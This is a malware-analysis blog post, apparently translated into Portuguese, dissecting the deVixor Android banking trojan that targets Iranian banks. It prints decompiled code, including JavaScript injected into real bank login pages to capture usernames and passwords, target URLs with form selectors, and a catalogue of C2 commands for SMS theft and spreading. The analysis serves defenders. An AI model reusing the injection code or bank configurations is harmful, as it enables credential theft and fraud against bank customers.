Segurança

Malware Móvel Parte 8: Análise do Trojan Bancário deVixor iraniano | 8kSec

Um novo malware para Android, chamado deVixor v2.3.0, foi analisado por pesquisadores da 8kSec. Este trojan bancário com capacidades ransomware alvo instituições financeiras iranianas e utiliza técnicas avançadas de anti-análise, incluindo disfarce de ícones e bloqueio do botão de desligamento. A análise detalhada revelou 28 permissões perigosas solicitadas pelo malware para controlar completamente o dispositivo.

Compartilhar
Mobile Malware Part 8: deVixor Iranian Banking Trojan Analysis | 8kSec

Introdução

Neste post do blog, apresentamos uma análise técnica abrangente da versão deVixor v2.3.0, um sofisticado trojan bancário Android com capacidades de ransomware direcionadas às instituições financeiras iranianas. Através de um processo meticuloso de engenharia reversa de mais de 4.800 classes obfuscadas, mapeamos a arquitetura completa do malware e documentamos cada capacidade maliciosa com código-fonte descompilado real e caminhos de arquivo.

O deVixor representa uma evolução significativa nos malwares bancários móveis, combinando o roubo tradicional de credenciais com as capacidades modernas de RAT (Remote Access Trojan), funcionalidade de ransomware e técnicas avançadas de anti-análise. O malware alvo especificamente do ecossistema bancário iraniano com configurações codificadas em 9+ grandes bancos, suporte bilíngue (persa/inglês) e análise completa de SMS para mais de 80 IDs de remetente bancário.

Capacidades-chave descobertas:

  • Roubo de credenciais bancárias através de ataques overlay com injeção de JavaScript contra 9 bancos iranianos
  • Ransomware com pagamento em TRON (TRX) exigindo 50 TRX (~$6 USD)
  • Keylogger através do abuso do serviço de acessibilidade com mecanismo de debounce de 1,2s
  • Interceptação de SMS para captura de OTP e análise de mensagens bancárias
  • Proteção anti-desinstalação com detecção bilíngue de palavras-chave (persa/inglês)
  • Bloqueio do botão de energia prevenindo o desligamento do dispositivo
  • +25 Comandos RAT para controle completo do dispositivo
  • +11 Activity Aliases para disfarce de ícone (YouTube, bancos iranianos, invisível)

Informações sobre a amostra

AtributoValorFonte
Nome do Pacoteir.devixor.appAndroidManifest.xml
Versão2.3.0AndroidManifest.xml
ID do BotdeVixor_Qq1tjN49assets/port.json
Mínimo SDK24 (Android 7.0)AndroidManifest.xml
TARGET SDK34 (Android 14)AndroidManifest.xml
COMPILE SDK36 (Preview do Android 16)AndroidManifest.xml
Total de Classes4.824 obfuscadas no pacote ojadx descompilação
Carteira TRXTYDzsYUEpvnYmQk9sWMcTEd2Mi AtW6o/CM.java
Tel. Offline09014019397assets/off_mod.json
Marcador Wake LockdeVixor::WakeForegroundService.java

Você pode baixar o código descompilado para a amostra deste link.

Parte 1: Configuração inicial de engenharia reversa

A análise foi conduzida usando ferramentas padrão da indústria para engenharia reversa do Android. O APK foi extraído primeiro usando o apktool para recuperar recursos e o AndroidManifest.xml, então descompilado em código-fonte Java usando o jadx para análise detalhada de código.

# Extrair recursos APK e decodificar manifesto
apktool d app-aligned.apk -o apktool_output

# Descompilar DEX para código-fonte Java
jadx -d jadx_output app-aligned.apk

# Contar classes obfuscadas no pacote o
ls jadx_output/sources/o/*.java | wc -l
# Resultado: 4824

1.2 Observações Iniciais

Ao examinar a saída descompilada, duas seções de código distintas chamaram atenção imediatamente. O pacote ir/devixor/app/ contém a lógica principal do aplicativo com nomes de classes limpos e legíveis - aqui está onde o desenvolvedor escreveu seu código primário. Em contraste agudo, o pacote o/ contém 4.824 arquivos com nomes de classes extremamente obfuscados, indicando uma aplicação agressiva de R8/ProGuard para ocultar a funcionalidade real do malware.

O ID de mapeamento R8 é visível em cada cabeçalho de arquivo descompilado, fornecendo um identificador único para esta passagem específica de obfuscation:

/* compilado a partir de: r8-map-id-3b7cc9102578c509342fa2f0fabed2bfc72239cd258d579fc679bfcbc198b048 */

1.3 Análise do AndroidManifest.xml

O manifesto revela as extensas solicitações de permissões do malware, totalizando 28 permissões perigosas que abrangem operações SMS, acesso ao estado da chamada telefônica, manipulação de contatos, acesso a armazenamento e uso da câmera, além de vários tipos de serviços em primeiro plano. Esta combinação de permissões permite uma vigilância e controle extensos do dispositivo.

<!-- Operações SMS - Funcionalidade principal do trojan bancário -->
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>

<!-- Estado do Telefone - Impressão digital e interceptação de chamadas -->
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>

<!-- Operações de Contato - Para disseminação em massa por SMS -->
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>

<!-- Armazenamento e Câmera - Exfiltração de fotos/telas -->
<uses-permission android:name="android.permission.READ_MEDIA_IMAGES"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.CAMERA"/>

<!-- Permissões de Persistência -->
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>

<!-- Comunicação Firebase C2 -->
<uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/>

Parte 2: Arquitetura do Código e Mapeamento de Obstrução

2.1 Análise de Obstrução R8/ProGuard

Todas as 4.824 classes no pacote o/ foram desprovidas de seus nomes originais pelo compilador R8, substituídas por identificadores alfanuméricos curtos como CM, QJ, Mh0 e C0720aY. A passagem de desfiguração é unicamente reconhecida pelo ID do mapa R8 embutido em cada cabeçalho de classe (r8-map-id-3b7cc9102578c509342fa2f0fabed2bfc72239cd258d579fc679bfcbc198b048), o que pode ser útil para rastrear builds entre amostras. Para reverter a desfiguração, confiamos em uma combinação de técnicas: rastreamento das cadeias de chamadas de método voltando dos pontos de entrada conhecidos como ForegroundService e AccessibilityService, procurando por implementações esquecidas do toString() que o desenvolvedor deixou para trás (a classe BankConfig foi uma mina de ouro aqui), e correspondendo strings de depuração e caminhos de entrada/saída de arquivos a padrões comportamentais. Por exemplo, encontrar "notificationListener.txt" em o.OS imediatamente nos informou sobre sua finalidade, e o rótulo do bloqueio de acordar "deVixor::Wake" em ForegroundService confirmou o nome interno do projeto malicioso.

Classe DesfiguradaFim RealEvidência/Como Descobrir
o.CMRansomwareManagerContém campos wallet_address, tron_amount; referenciado de AccessibilityService.java:40
o.QJKeyloggerHandlerTem lógica de detecção de EditText com debounce de 1200ms; referenciado de AccessibilityService.java:44
o.OSNotificationInterceptorEscrive em notificationListener.txt; processa TYPE_NOTIFICATION_STATE_CHANGED
o.Mh0AntiUninstallProtectionContém palavras-chave “app info”, “uninstall”, “حذف” (remover); referenciado de AccessibilityService.java:52
o.C0720aYPowerButtonBlockerContém palavras-chave “Power off”, “خاموش” (desligar); referenciado de AccessibilityService.java:56
o.C0599XcScreenOverlayManagerGerencia sobreposições View via WindowManager; referenciado de AccessibilityService.java:36
o.C0262KcWebViewHookerEstende WebViewClient; contém injeção de JavaScript em onPageFinished()
o.C0236JcJavascriptInterfaceTem anotação @JavascriptInterface com método onLoginClicked
o.C0210IcBankConfigtoString() mostra “BankConfig(url=, userSelector=, passSelector=)”
o.YADataCollectorContém 25 casos de switch com comandos como GET_CAMERA_PHOTOS, GET_GALLERY
o.C1652kBCommandProcessorRedireciona comandos para métodos ForegroundService
o.C1367hBBankSenderMappingMapeia IDs de remetente bancário (BMI, Bankmellat) a nomes de banco
o.Fh0C2DecryptorDécifração multi-nível AES/CTR com derivação de chave HmacSHA256/512
o.AbstractC1480iSServerConfigManagerCarrega URL C2 do server.txt ou decifra padrão codificado
o.C2506tBRansomwareCommandHandlerLida com comandos RANSOMWARE, SEARCH_APP, SET_WARNING_BANK

2.2 Descoberta da Hierarquia de Classes

A quebra no mapeamento da arquitetura do malware veio da classe AccessibilityService. As linhas 24-31 revelam um padrão limpo de delegação onde seis módulos inicializados com preguiça envolvem cada manipulador encriptado via C1014dc0 (um delegado Lazy do Kotlin). Ao seguir o índice de construtor de cada delegado (K0(0) até K0(5)) na classe-fábrica, pudemos resolver cada manipulador ao seu tipo concreto. O despachante onAccessibilityEvent() em linha 34 confirmou então o papel de cada classe: QJ.b() processa eventos de alteração de texto (keylogging), Mh0.j() monitora mudanças no estado da janela (anti-desinstalação), C0720aY.c() observa diálogos do menu de energia, e assim por diante. Cada chamada é envolvida em seu próprio try-catch para garantir que uma falha em um módulo nunca derrube os outros, uma escolha de design que fala sobre a experiência operacional do autor:

jadx_output/sources/ir/devixor/app/accessibilityservice/AccessibilityService.java

public final class AccessibilityService extends android.accessibilityservice.AccessibilityService {
    public static AccessibilityService r;  // Referência estática para acesso global

    // Módulos de manipulador carregados com preguiça usando padrão de delegação
    public final C1014dc0 l = new C1014dc0(new K0(0));  // Índice 0: C0599Xc (ScreenOverlay)
    public final C1014dc0 m = new C1014dc0(new K0(1));  // Índice 1: CM (Ransomware)
    public final C1014dc0 n = new C1014dc0(new K0(2));  // Índice 2: QJ (Keylogger)
    public final C1014dc0 f32o = new C1014dc0(new K0(3)); // Índice 3: OS (Notification)
    public final C1014dc0 p = new C1014dc0(new K0(4));  // Índice 4: Mh0 (AntiUninstall)
    public final C1014dc0 q = new C1014dc0(new K0(5));  // Índice 5: C0720aY (PowerBlock)

O método onAccessibilityEvent() (linhas 34-58) revela como cada manipulador é invocado para cada evento de acessibilidade, envolvido em blocos try-catch para prevenir que uma falha única de qualquer manipulador faça o serviço crash:

@Override
public final void onAccessibilityEvent(AccessibilityEvent accessibilityEvent) {
    try { ((C0599Xc) this.l.getValue()).d(accessibilityEvent); } catch (Exception unused) {}
    try { ((CM) this.m.getValue()).getClass(); } catch (Exception unused2) {}
    try { ((QJ) this.n.getValue()).b(accessibilityEvent); } catch (Exception unused3) {}
    try { ((OS) this.f32o.getValue()).a(accessibilityEvent); } catch (Exception unused4) {}
    try { ((Mh0) this.p.getValue()).j(accessibilityEvent); } catch (Exception unused5) {}
    try { ((C0720aY) this.q.getValue()).c(accessibilityEvent); } catch (Exception unused6) {}
}

Parte 3: Ponto de Entrada e Fluxo de Execução da Aplicação

3.1 Análise do MainActivity

O MainActivity é o orquestrador para uma pipeline cuidadosamente planejada de aquisição de permissões. Ao ser iniciado, o método onCreate() inicializa as preferências compartilhadas, carrega o arquivo remoto-controle permission.json (que determina quais permissões solicitar e se é necessário o Serviço de Acessibilidade) e inicia a verificação e solicitação de permissões através do método checkAndRequestPermissions(). O que torna este fluxo interessante é como a ordem é deliberada. As permissões SMS são solicitadas primeiro porque são essenciais para um trojan bancário, seguidas por manipulação específica ao dispositivo para Samsung e Xiaomi, depois pelas permissões restantes (contatos, armazenamento, telefone, câmera) e finalmente a solicitação do Serviço de Acessibilidade. Cada fase alimenta a próxima através de cadeias de retorno de chamada, e toda a sequência é controlada pelo JSON de configuração, permitindo que o operador C2 ative ou desative quais permissões são solicitadas por campanha.

jadx_output/sources/ir/devixor/app/MainActivity.java

Fase 1: Permissões SMS

As permissões SMS são solicitadas primeiro, e por uma boa razão. Sem READ_SMS, SEND_SMS e RECEIVE_SMS, o trojan perde a capacidade de interceptar OTPs (One-Time Passwords), analisar notificações bancárias e transmitir dados roubados via SMS em modo offline. O método getSmsPermissions() retorna essa tríade, enquanto o método getMissingPermissions() verifica quais delas ainda não foram concedidas pelo usuário. Se alguma estiver ausente, a chamada de retorno smsPermissionLauncher dispara uma caixa de diálogo padrão para solicitar permissões. Uma vez que todas as três são concedidas (ou se já tivessem sido concedidas em um lançamento anterior), o fluxo continua através do método continueAfterSmsPermissions():

private final void checkAndRequestPermissions() throws IOException {
    List<String> missingPermissions = getMissingPermissions(getSmsPermissions());
    if (missingPermissions.isEmpty()) {
        continueAfterSmsPermissions();
    } else {
        this.smsPermissionLauncher.a(missingPermissions.toArray(new String[0]));
    }
}

Fase 2: Detecção de dispositivos Samsung e Xiaomi

Samsung e Xiaomi dominam conjuntamente o mercado Android iraniano, então o malware tem caminhos específicos para cada fabricante. A detecção é simples: Build.MANUFACTURER é comparado insensivelmente ao caso via AbstractC1299gb0.I(). Mas o que acontece a seguir é onde as coisas ficam interessantes. O auxiliar pickSamsungOrXiaomi() na linha 650 carrega recursos drawable diferentes condicionalmente. Os usuários do Samsung veem accessibility_guide_samsung com uma dica específica para o Samsung, dizendo-lhes para tocar em “Aplicativos instalados” e encontrar o aplicativo, enquanto os usuários da Xiaomi veem accessibility_guide_xiaomi. Há também um bloco de vista samsungHintBlock (visível apenas no Samsung via setVisibility(isSamsungDevice() ? 0 : 8)) que leva os usuários do Samsung através da configuração de acessibilidade do One UI. Para a Xiaomi, a maior preocupação é a otimização agressiva da bateria MIUI que mata serviços em segundo plano. O método openXiaomiAutostartSettings() tenta múltiplas rotas de intenção sequencialmente: primeiro o centro de segurança MIUI’s AutoStartManagementActivity, depois o editor de permissões com o nome do pacote passado via três diferentes chaves extras ("package", "extra_pkgname", "packageName"), então a intenção miui.intent.action.OP_AUTO_START, e finalmente cai de volta na página padrão de detalhes do aplicativo:

// Linhas 525-527 - Detecção de dispositivo Samsung
private final boolean isSamsungDevice() {
    return AbstractC1299gb0.I(Build.MANUFACTURER, "samsung");
}

// Linhas 533-535 - Detecção de dispositivo Xiaomi
private final boolean isXiaomiDevice() {
    return AbstractC1299gb0.I(Build.MANUFACTURER, "xiaomi");
}

// Linhas 609-629 - Abertura das configurações de inicialização automática do Xiaomi
private final void openXiaomiAutostartSettings() {
    Intent intent = new Intent();
    intent.setComponent(new ComponentName(
        "com.miui.securitycenter",
        "com.miui.permcenter.autostart.AutoStartManagementActivity"
    ));
    startActivity(intent);
}

Fase 3: Verificação do Serviço de Acessibilidade

O Serviço de Acessibilidade é a base para seis dos módulos mais invasivos do malware: registro de teclas, anti-desinstalação, bloqueio do botão de energia, interceptação de notificações, sobreposição ransomware e controle da tela. Se essa fase será executada ou não é controlada pelo campo "Accessibility" no arquivo permission.json (enviado como "off" por padrão, presumivelmente alternado para "on" pelo operador C2 uma vez que o bot é estabelecido). A verificação isMyAccessibilityServiceEnabled() lê a configuração do sistema enabled_accessibility_services e procura pelo nome completo do serviço do malware (ir.devixor.app/ir.devixor.app.accessibilityservice.AccessibilityService). Se o serviço não estiver habilitado e a configuração exigir isso, showAccessibilityScreen() apresenta uma caixa de diálogo personalizada com guias visuais específicos para cada fabricante (usando a detecção Samsung/Xiaomi da Fase 2) que orientam a vítima sobre como habilitar o serviço:

private final boolean isAccessibilityRequired() {
    return AbstractC1299gb0.I(getPermConfig().optString("Accessibility", "off"), "on");
}

private final boolean isMyAccessibilityServiceEnabled() {
    String string = Settings.Secure.getString(getContentResolver(), "enabled_accessibility_services");
    if (string == null) return false;
    return Za0.P(string, getPackageName() + "/" + AccessibilityService.class.getName(), true);
}

Fase 4: Iniciar Serviço Malicioso

Com as permissões garantidas, proceedToApp() inicia a verdadeira carga útil. Em Android 8.0+ (API 26), ele usa startForegroundService() via o wrapper AbstractC1456i7.w(), enquanto versões mais antigas usam um simples startService(). Imediatamente após isso, openWebViewActivity()webview.json dos ativos, analisa o campo webview_url do JSON e abre uma tela de isca. A isca padrão é a Digikala, a maior plataforma de comércio eletrônico da Irã, fazendo com que o aplicativo pareça ser um aplicativo de compras. A atividade é iniciada com FLAG_ACTIVITY_NO_ANIMATION e overridePendingTransition(0, 0), tornando a troca invisível. Dependendo do valor de webview_url, o malware também pode carregar atividades de isca alternativas como EblaqActvity, VamAsanActvity ou PageGameActivity, dando aos operadores flexibilidade para corresponder ao que quer que seja a isca de engenharia social usada para distribuir o APK:

private final void proceedToApp() throws IOException {
    Intent intent = new Intent(this, (Class<?>) ForegroundService.class);
    if (Build.VERSION.SDK_INT >= 26) {
        AbstractC1456i7.w(this, intent);  // startForegroundService wrapper
    } else {
        startService(intent);
    }
    openWebViewActivity();  // Opens decoy content (Digikala by default)
}

3.2 Diagrama de Fluxo de Execução

O diagrama a seguir rastreia o caminho completo desde o lançamento do aplicativo até a ativação completa da malware. Observe como o fluxo ramifica em cada porta de permissão. Se o usuário negar as permissões SMS, a trojan ainda tentará prosseguir com tudo que pode obter, mas o dano real só começa quando proceedToApp() dispara o serviço ForegroundService e AccessibilityService em paralelo. O ForegroundService lida com todas as operações C2 voltadas para a rede (inscrição no FCM, sondagem de comando, exfiltração de dados, sobreposições bancárias), enquanto o AccessibilityService executa os seis módulos locais de abuso que exigem acesso ao nível da interface do usuário. Juntos, eles formam uma arquitetura bifurcada onde qualquer serviço pode operar independentemente se o outro for interrompido.

+------------------------------------------------------------------------------+
|                         LANÇAMENTO DA APLICAÇÃO                                   |
+------------------------------------------------------------------------------+
                                    |
                                    v
+------------------------------------------------------------------------------+
| MainActivity.onCreate()                                                      |
| - Inicializar SharedPreferences                                               |
| - Carregar configuração de permission.json                                      |
| - Chamar checkAndRequestPermissions()                                          |
+------------------------------------------------------------------------------+
                                    |
                    +---------------+---------------+
                    v                               v
        +-------------------+           +-------------------+
        | Permissões SMS    |           | Já Concedidas   |
        | Solicitação de Diálogo|           |                   |
        +---------+---------+           +---------+---------+
                  |                               |
                  +---------------+---------------+
                                  v
+------------------------------------------------------------------------------+
| continueAfterSmsPermissions()                                                |
| - Verificar se é um dispositivo Samsung/Xiaomi -> Exibir guias específicas do dispositivo|
| - Solicitar as permissões restantes (contatos, armazenamento, telefone, câmera)|
+------------------------------------------------------------------------------+
                                    |
                                    v
+------------------------------------------------------------------------------+
| Verificar se o Serviço de Acessibilidade é necessário?                      |
| - Ler de permission.json: Accessibility = "on" ou "off"                   |
| - Se necessário e não habilitado -> Abrir Configurações de Acessibilidade   |
| - Se necessário e habilitado -> proceedToApp()                             |
| - Se não for necessário -> proceedToApp()                                  |
+------------------------------------------------------------------------------+
                                    |
                                    v
+------------------------------------------------------------------------------+
| proceedToApp()                                                               |
| - Iniciar ForegroundService (serviço principal RAT)                        |
| - Abrir WebViewActivity (decoy: digikala.com)                              |
Parte 4: Sistema de Ataque Overlay Bancário

4.1 Visão Geral do Fluxo de Ataque

O ataque overlay bancário é o principal mecanismo de roubo de credenciais e a parte mais técnica da malware. Quando o operador C2 envia um comando OPEN_BANK:melli via FCM push, o ForegroundService inicia o BankEntryActivity com a chave do banco como extra de intenção. A atividade cria uma WebView com JavaScript habilitado e armazenamento DOM ativo, além de dois componentes críticos anexados: um C0262Kc WebViewClient que se conecta ao método onPageFinished() para injetar JavaScript de roubo de credenciais, e um objeto C0236Jc registrado como @JavascriptInterface sob o nome "Android". A WebView então carrega a URL real de login do banco legítimo, não uma cópia de phishing, mas o portal bancário real. O usuário está literalmente interagindo com seu próprio banco, o que torna este ataque tão eficaz. Uma vez que a página é carregada, o JavaScript injetado anexa silenciosamente um ouvinte de eventos ao botão de login e, quando o usuário clica nele, o script lê os valores dos campos de nome de usuário e senha e passa-os para Android.onLoginClicked() antes que o formulário seja realmente enviado. As credenciais atravessam a ponte JavaScript-to-Java, são embaladas em uma carga JSON com o identificador do banco e enviadas ao servidor C2 via Kotlin coroutine, tudo isso antes que o login real seja concluído.

+-------------+     +------------------+     +-------------------+
|  C2 Server  |     | ForegroundService|     | BankEntryActivity |
|             |     |                  |     |                   |
+------+------+     +--------+---------+     +---------+---------+
       |                     |                         |

       | 1. FCM Push:        |

       | "OPEN_BANK:melli"   |

       |------------------->|

       |                     |

       |                     | 2. Start Activity       |

       |                     | with bank="melli"       |

       |                     |------------------------>|

       |                     |

       |                     |                         | 3. Load real bank URL:

       |                     |                         |    baam.bmi.ir/fa/auth/login

       |                     |

       |                     |                         | 4. onPageFinished() triggers

       |                     |                         |    JavaScript injection via C0262Kc

       |                     |

       |                     |                         |    +-----------------+

       |                     |                         |<---|  User enters    |

       |                     |                         |    |  real username  |

       |                     |                         |    +-----------------+

       |                     |

       |                     |                         | 5. Injected JS intercepts click

       |                     |                         |    Calls Android.onLoginClicked()

       |

       |                     | 6. C0236Jc receives     |

       |                     |    credentials via      |

       |                     |    @JavascriptInterface |

       |                     |<------------------------|

       |

       | 7. Send stolen      |

       |    credentials      |

       |    to C2 server     |

       |<--------------------|

4.2 Dados da Classe BankConfig

Cada banco alvo é representado por uma instância C0210Ic, que é uma classe simples com cinco campos: a URL de login e seletores CSS para o campo do nome de usuário, o campo da senha, o botão de login e uma chave tipo usada para identificar credenciais roubadas ao relatar ao C2. Os nomes dos campos foram completamente removidos pelo R8, deixando-nos com a até e. Mas o desenvolvedor cometeu um erro clássico: eles deixaram a implementação do método toString() intacta que imprime "BankConfig(url=, userSelector=, passSelector=, loginSelector=, typeKey=", entregando-nos as mapeações exatas dos campos em uma bandeja de prata. Este tipo de descuido é mais comum do que você imagina em malware obfuscado e sempre vale a pena verificar implementações toString() cedo na análise:

public final class C0210Ic {
    public final String a;  // URL de login
    public final String b;  // Seletor CSS do nome de usuário
    public final String c;  // Seletor CSS da senha
    public final String d;  // Seletor CSS do botão de login
    public final String e;  // Chave tipo identificador

    // DESENVOLVEDOR DEIXOU CÓDIGO PARA DEBUG - revela propósitos dos campos!
    public final String toString() {
        StringBuilder sb = new StringBuilder("BankConfig(url=");
        sb.append(this.a);
        sb.append(", userSelector=");
        sb.append(this.b);
        sb.append(", passSelector=");
        sb.append(this.c);
        sb.append(", loginSelector=");
        sb.append(this.d);
        sb.append(", typeKey=");
        return AbstractC2462sn.n(sb, this.e, "");
    }
}

4.3 Configurações Completas de Banco

O construtor BankEntryActivity (linhas 35-38) contém configurações codificadas em texto para 9 bancos iranianos. Essas configurações incluem os seletores CSS exatos para cada elemento do formulário de login dos bancos, demonstrando que os atacantes realizaram uma pesquisa detalhada em cada alvo:

jadx_output/sources/ir/devixor/app/changer/BankEntryActivity.java

public BankEntryActivity() {
    this.f34o = GN.a0(
        new C3001yV("melli", new C0210Ic(
            "https://baam.bmi.ir/fa/auth/login",
            "input[formcontrolname='username']",
            "input[formcontrolname='password']",
            "button.mat-mdc-unelevated-button",
            "bmi_login"
        )),
        new C3001yV("refah", new C0210Ic(
            "https://www.rb24.ir/login.html",
            "input#j_username",
            "input#j_password",
            "button#submitFormBtn",
            "refah_login"
        )),
        // ... 7 mais bancos configurados ...
    );
}
BancoChaveLogin URLSelector do UsuárioID
Banco Melli Irãmellihttps://baam.bmi.ir/fa/auth/logininput[formcontrolname='username']bmi_login
Banco Refahrefahhttps://www.rb24.ir/login.htmlinput#j_usernamerefah_login
Banco Keshavarzikeshavarzihttps://ib.bki.ir/pid2.lmxinput#UserIdbki_login
Banco Mellatmellathttps://ebanking.bankmellat.ir/ebanking/#/input#UserNameBoxmellat_login
Banco Saderatsaderathttps://ib.bsi.ir/public-page.ibinput#userIDbsi_login
Banco Sepahsepahhttps://ib.banksepah.ir/netway/pwa/indexinput[name^='tsn-input-']sepah_login
Wepodwepodhttps://web.wepod.ir/signup/mobileinput#authIdentity-inpwepod_login
Banco Pasargadpasargadhttps://oauth.bpi.ir/Account/LoginProcess?...input#Usernamepasargad_login
Banco Tejarattejarathttps://ib.tejaratbank.ir/web/ns/login_m?...input[id$='userName_input']tejarat_login

4.4 Injeção de JavaScript

A classe C0262Kc herda de WebViewClient e sobrescreve o método onPageFinished(), que é acionado quando a página de login do banco é carregada completamente. O JavaScript injetado é uma expressão funcional imediatamente invocada (IIFE) que consulta o DOM para encontrar os campos de usuário, senha e botão de login usando os seletores CSS da BankConfig. Em seguida, ela anexa um ouvinte de eventos de clique ao botão de login que chama Android.onLoginClicked(u.value, p.value), passando as credenciais através da ponte JavaScript-to-Java do WebView. O Banco Saderat recebe tratamento especial porque sua forma de login usa uma estrutura DOM diferente (input#userID, input#password, input#login) e carrega elementos dinamicamente, então a injeção inclui um loop de retentativa que faz consultas a cada 300ms via setTimeout(hook, 300) até os elementos do formulário aparecerem. O manipulador Saderat até registra "SADERAT HOOK OK" em console.log quando é anexado com sucesso, outro artefato de depuração deixado pelo desenvolvedor:

jadx_output/sources/o/C0262Kc.java

public final class C0262Kc extends WebViewClient {
public final String a; // ID do banco
public final C0210Ic b; // Configuração do banco

@Override
public final void onPageFinished(WebView webView, String str) {
super.onPageFinished(webView, str);

// Tratamento especial para o Banco Saderat (estrutura DOM diferente)
if (F3.c(this.a, "saderat")) {
strN = "(function() {\n" +
" function hook() {\n" +
" const u = document.querySelector("input#userID");\n" +
" const p = document.querySelector("input#password");\n" +
" const btn = document.querySelector("input#login");\n" +
" if (u && p && btn) {\n" +
" btn.addEventListener("click", function() {\n" +
" Android.onLoginClicked(u.value, p.value);\n" +
" }, true);\n" +
" return;\n" +
" }\n" +
" setTimeout(hook, 300);\n" // Tentar novamente a cada 300ms até encontrar
" }\n" +
" hook();" + "})();"; } else { // Injeção genérica usando seletores de configuração strN = "(function() {" + " const u = document.querySelector("" + b.b + "");" + " const p = document.querySelector("" + b.c + "");" + " const btn = document.querySelector("" + b.d + "");" + " if (u && p && btn) {" + " btn.addEventListener("click", function() {" + " Android.onLoginClicked(u.value, p.value);" + " });" + " }" + "})();"; } webView.evaluateJavascript(strN, null); } }

4.5 Interface de Captura de Credenciais

A classe C0236Jc é o receptor do lado Java para credenciais roubadas. Ela é registrada como uma interface JavaScript com o nome "Android" no WebView, significando que qualquer script injetado pode chamar Android.onLoginClicked(username, password) para passar dados para código nativo. A anotação @JavascriptInterface é necessária em Android 4.2+ por razões de segurança e sem ela o método não seria invocável a partir do JavaScript. Quando as credenciais chegam, o método dispara uma coroutine Kotlin (AbstractC1692kh0.C()) no escopo de coroutines da BankEntryActivity, que embala o nome de usuário, senha e chave do tipo de banco em um payload JSON e envia para o servidor C2. A abordagem baseada em coroutine significa que a chamada de rede acontece fora da thread principal sem bloquear a interface do usuário, então o login do vítima continua normalmente e eles nunca percebem algo ter ocorrido:

jadx_output/sources/o/C0236Jc.java

public final class C0236Jc {
    public final String a;    // Identificador do banco
    public final BankEntryActivity b;

    @JavascriptInterface
    public final void onLoginClicked(String str, String str2) {
        // str = username, str2 = senha
        BankEntryActivity bankEntryActivity = this.b;
        // Inicia a rotina para enviar as credenciais ao servidor C2
        AbstractC1692kh0.C(bankEntryActivity.n, null,
            new C3063z4(bankEntryActivity, this, str, str2, null, 2), 3);
    }
}

Parte 5: Referência Completa de Comandos C2

Achamos o conjunto completo de comandos procurando por .put("command" em todas as fontes descompiladas. Os comandos chegam via Firebase Cloud Messaging (subscrito ao tópico deVixor_Qq1tjN49 a partir de port.json) e são despachados através de dois principais manipuladores: ForegroundService (mais de 3.000 linhas de código lidando com operações de rede) e o.YA (a classe DataCollector, que lida com exfiltração de mídia e enumeração de aplicativos via uma declaração case de mais de 25 casos). O processador de comandos o.C1652kB fica entre o FCM e esses manipuladores, analisando a entrada JSON e encaminhando cada string de comando para o método apropriado.

5.1 Comandos de Coleta de Dados

Os comandos de coleta de dados abrangem tudo que um atacante precisaria para tomar conta da conta: histórico de SMS para roubo de OTP e reconhecimento do saldo, contatos para espalhar o malware, fotos e capturas de tela para recolhimento de inteligência e contas de dispositivo para identificar a vítima. Nota-se os limites por comando. GET_SMS é limitado a 10.000 mensagens, GET_GALLERY a 4.000 imagens e GET_CAMERA_PHOTOS a 1.500, o suficiente para ser abrangente mas com um limite para evitar travamento em dispositivos com bibliotecas de mídia massivas. O comando GET_BNC_APPS é particularmente direcionado: ele verifica por 44 nomes específicos de aplicativos bancários iranianos e relata quais estão instalados, dando ao operador uma imagem precisa sobre quais ataques overlay funcionarão neste dispositivo.

ComandoLinha de OrigemDescriçãoLimite
GET_ACCOUNTForegroundService.java:936Obter contas do dispositivo (Google, etc.)Todos
GET_ACCOUNT_SUMMARYForegroundService.java:1403Analisar saldos bancários a partir de SMS-
GET_BANK_SMSForegroundService.java:2074Extrair mensagens SMS de bancos iranianos conhecidos5000
GET_CARD_NUMBERForegroundService.java:1715Extrair números de cartão de 16 dígitos a partir de SMS50 únicos
GET_CONTACTSForegroundService.javaExportar todos os contatos como JSONTodos
GET_SMSForegroundService.javaRecuperar mensagens SMS10000
GET_IPSForegroundService.java:1846Obter IP público via api.ipify.org-
GET_CAMERA_PHOTOSYA.java:524Esvaziar fotos da câmera1500
GET_GALLERYYA.java:570Esvaziar imagens da galeria4000
GET_SCREENSHOTSYA.java:730Esvaziar capturas de tela1000
GET_BNC_APPSYA.java:630Listar aplicativos bancários iranianos instalados44 apps
GET_SIM_SMSForegroundService.javaObter informações da cartão SIMTodos os slots
GET_USSD_INFOForegroundService.javaObter capacidades USSD-

5.2 Comandos de Controle do Dispositivo

Esses comandos dão ao operador controle direto sobre o dispositivo. SEND_SMS é ciente da slot SIM, tomando um número de slot e usando SubscriptionManager para obter a instância correta de SmsManager para dispositivos dual-SIM, com fallback ao gerenciador padrão. SEND_SMS_TO_ALL é o mecanismo de propagação em massa: ele lê toda a lista de contatos da vítima e envia uma mensagem personalizada para cada número, transformando o dispositivo infectado em um nó de distribuição. RUN_USSD permite ao operador executar códigos USSD arbitrários (como verificação de saldo ou ativação de serviços) em um slot SIM específico. HIDE e UNHIDE alternam o ícone do aplicativo entre a versão original e a disfarçada como YouTube via API setComponentEnabledSetting().

ComandoLocal de OrigemDescriçãoFormato
SEND_SMSForegroundService.java:3021Enviar SMS para número específicoSEND_SMS:slot:number:message
SEND_SMS_TO_ALLForegroundService.java:647SMS em massa para todos os contatosSEND_SMS_TO_ALL:message
RUN_USSDForegroundService.java:2393Executar código USSDRUN_USSD:slot:*code#
SET_RINGER_MODEForegroundService.java:702Configurar modo de som (silencioso, vibrar ou normal)SET_RINGER_MODE:mode
HIDEForegroundService.java:2943Ocultar ícone do aplicativo (disfarce de YouTube)HIDE
UNHIDEForegroundService.java:385Restaurar ícone original do aplicativoUNHIDE
ADD_CONTACTForegroundService.javaAdicionar contato ao dispositivoADD_CONTACT:name:number
IMPORT_VCFForegroundService.javaImportar contatos de VCFIMPORT_VCF:data

